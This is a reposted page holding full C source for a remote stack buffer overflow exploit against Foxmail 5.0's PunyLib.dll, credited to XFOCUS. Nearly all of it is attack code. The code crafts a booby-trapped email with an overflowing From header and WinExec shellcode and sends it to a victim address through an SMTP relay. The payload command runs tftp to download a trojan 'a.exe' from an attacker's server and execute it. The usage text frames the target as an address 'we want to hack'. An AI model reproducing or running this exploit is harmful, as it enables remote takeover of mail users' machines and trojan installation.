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攻击程序:ex_foxmail5.0_windows.c
发表日期:2005-06-09作者:[转贴] 出处:安全焦点  

/* ex_foxmail5.0_windows.c - x86/win32 Foxmail 5.0 PunyLib.dll remote stack buffer overflow exploit
*
* (C) COPYRIGHT XFOCUS Security Team, 2004
* All Rights Reserved
*
* -----------------------------------------------------------------------
* Author   : xfocus <webmaster@xfocus.org>
*          : http://www.xfocus.org
* Maintain : XFOCUS Security Team <security@xfocus.org>
* Version  : 0.2
*
* Test     : Windows 2000 server GB/XP professional
*                + Foxmail 5.0.300.0
* Notes    : published vul.
* Greets   : all member of XFOCUS Security Team.
* Complie  : cl fmx.c
* Usage    : fmx <mail_addr> <tftp_server> <smtp_server>
*             mail_addr: email address we wantto hack
*             tftp_server: run a tftp server and have a a.exe trojan
*             smtp_server: SMTP server don\'t need login, we send the email thru it
*
* Date     : 2004-02-27
* Revised  : 2004-03-05
*
* Revise History:
* 2003-03-05  call WinExec() addr of Foxmail.exe module to run tftp for down&execute
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#pragma comment (lib,\"ws2_32\")

//mail body, it\'s based on a real spam email, heh
unsigned char packet[] =
\"From: %s\\r\\n\" //buffer to overrun
\"Subject: Hi,man\\r\\n\"
\"MIME-Version: 1.0\\r\\n\"
\"Content-Type: multipart/mixed; boundary=\\\"87122827\\\"\\r\\n\"
\"\\r\\n\"
\"\\r\\n\"
\"--87122827\\r\\n\"
\"Content-Type: text/plain; charset=us-ascii\\r\\n\"
\"Content-Transfer-Encoding: 7bit\\r\\n\"
\"\\r\\n\"
\"T\\r\\n\"
\"\\r\\n\"
\"--87122827\\r\\n\"
\"Content-Disposition: attachment\\r\\n\"
\"Content-Type: Text/HTML;\\r\\n\"
\"  name=\\\"girl.htm\\\"\\r\\n\"
\"Content-Transfer-Encoding: 7bit\\r\\n\"
\"\\r\\n\"
\"<html></html>\\r\\n\"
\"--87122827--\\r\\n\"
\"\\r\\n\"
\".\\r\\n\";

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.300)
unsigned char winexec[] =
\"\\x83\\xec\\x50\\xeb\\x0c\\xb9\\x41\\x10\\xd3\\x5d\\xc1\\xe9\\x08\\xff\\x11\\xeb\\x08\\x33\\xdb\\x53\\xe8\\xec\\xff\\xff\\xff\";

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)
unsigned char winexec2[] =
\"\\x83\\xec\\x50\\xeb\\x0c\\xb9\\x41\\x10\\xa3\\x5d\\xc1\\xe9\\x08\\xff\\x11\\xeb\\x08\\x33\\xdb\\x53\\xe8\\xec\\xff\\xff\\xff\";

#define SMTPPORT 25
int  Make_Connection(char *address,int port,int timeout);
int  SendXMail(char *mailaddr, char *tftp, char *smtpserver, char *shellcode);

int main(int argc, char * argv[])
{
    WSADATA WSAData;
    char *mailaddr = NULL;
    char *tftp = NULL;
    char *smtpserver = NULL;

    if(argc!=4)
    {
        printf(\"Usage: %s <mail_addr> <tftp_server> <smtp_server>\\ne.g.:%s eeye@hack.com 202.2.3.4 219.3.2.1\\n\", argv[0], argv[0]);
        return 1;
    }
    mailaddr=argv[1];
    tftp=argv[2];
    smtpserver=argv[3];

    if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
    {
        printf(\"WSAStartup failed.\\n\");
        WSACleanup();
        exit(1);
    }
   
    //WinExec() address
    SendXMail(mailaddr, tftp, smtpserver, winexec);  //WinExec() address in Foxmail.exe module(foxmail 5.0.300)
    SendXMail(mailaddr, tftp, smtpserver, winexec2);  //WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)

    WSACleanup();

    return 0;
}

//  建立TCP连接
//  输入:
//       char * address  IP地址
//       int  port       端口
//       int  timeout    延时
//  输出:
//  返回:
//       成功 >0
//       错误 <=0   

int Make_Connection(char *address,int port,int timeout)
{
    struct sockaddr_in target;
    SOCKET s;
    int i;
    DWORD bf;
    fd_set wd;
    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);
    if(s<0)
        return -1;

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr(address);
    if(target.sin_addr.s_addr==0)
    {
        closesocket(s);
        return -2;
    }
    target.sin_port = htons(port);
    bf = 1;
    ioctlsocket(s,FIONBIO,&bf);
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    FD_ZERO(&wd);
    FD_SET(s,&wd);
    connect(s,(struct sockaddr *)&target,sizeof(target));
    if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        closesocket(s);
        return -3;
    }
    if(i==0)
    {
        closesocket(s);
        return -4;
    }
    i = sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
    if((bf!=0)||(i!=sizeof(int)))
    {
        closesocket(s);
        return -5;
    }
    ioctlsocket(s,FIONBIO,&bf);
    return s;
}

//send magic mail
int  SendXMail(    char *mailaddr, char *tftp, char *smtpserver, char *shellcode)
{
    SOCKET  csock;
    int     ret,i=0;
    char buf[510], sbuf[0x10000], tmp[500], tmp1[500];
    csock = Make_Connection(smtpserver, SMTPPORT, 10);
    if(csock<0)
    {
        printf(\"connect err.\\n\");
        exit(1);
    }

    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf(\"recv err.\\n\");
        exit(1);
    }
    printf(buf);

    ret=send(csock, \"HELO server\\r\\n\",strlen(\"HELO server\\r\\n\"), 0);
    if(ret<=0)
    {
        printf(\"send err.\\n\");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf(\"recv err.\\n\");
        exit(1);
    }
    printf(buf);

    ret=send(csock, \"MAIL FROM: info@sina.com\\r\\n\",strlen(\"MAIL FROM: info@sina.com\\r\\n\"), 0);
    if(ret<=0)
    {
        printf(\"send err.\\n\");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf(\"recv err.\\n\");
        exit(1);
    }
    printf(buf);
   
    sprintf(tmp, \"RCPT TO: %s\\r\\n\", mailaddr);
    ret=send(csock, tmp,strlen(tmp), 0);
    if(ret<=0)
    {
        printf(\"send err.\\n\");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf(\"recv err.\\n\");
        exit(1);
    }
    printf(buf);
    Sleep(1000);
   
    ret=send(csock, \"DATA\\r\\n\",strlen(\"DATA\\r\\n\"), 0);
    if(ret<=0)
    {
        printf(\"send err.\\n\");
        exit(1);
    }

    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf(\"recv err.\\n\");
        exit(1);
    }
    printf(buf);

    printf(\"send exploit mail...\\n\");
    memset(sbuf, 0, sizeof(sbuf));
    memset(buf, 0, sizeof(buf));
    memset(buf, 0x41, sizeof(buf)-1);
    memset(tmp, 0, sizeof(tmp));
    //strcpy(tmp, winexec);//WinExec() address in Foxmail.exe module(foxmail 5.0.300)
    strcpy(tmp, shellcode);//WinExec() address in Foxmail.exe module
    strcat(tmp, \"cmd /c tftp -i %s get a.exe&a.exe:\");
    sprintf(tmp1, tmp, tftp);
    memcpy(buf+0x100-strlen(tmp1), tmp1, strlen(tmp1));
    *(int *)(buf+0x100)=0x7ffa54cd;  //ret addr jmp esp
    *(int *)(buf+0x104)=0x80eb80eb;  //jmp back
    *(int *)(buf+0x108)=0x7ffdf220;  //writeable addr
    *(int *)(buf+0x110)=0x7ffdf220;  //writeable addr
    memcpy(buf, \"girl\\x0d\", 5);
    sprintf(sbuf, (char *)packet, buf);

    ret=send(csock, sbuf,strlen(sbuf), 0);
    if(ret<=0)
    {
        printf(\"send err.\\n\");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf(\"recv err.\\n\");
        exit(1);
    }
    printf(buf);
    printf(\"exploit mail sent.\\n\");
    closesocket(csock);
    return 0;
}

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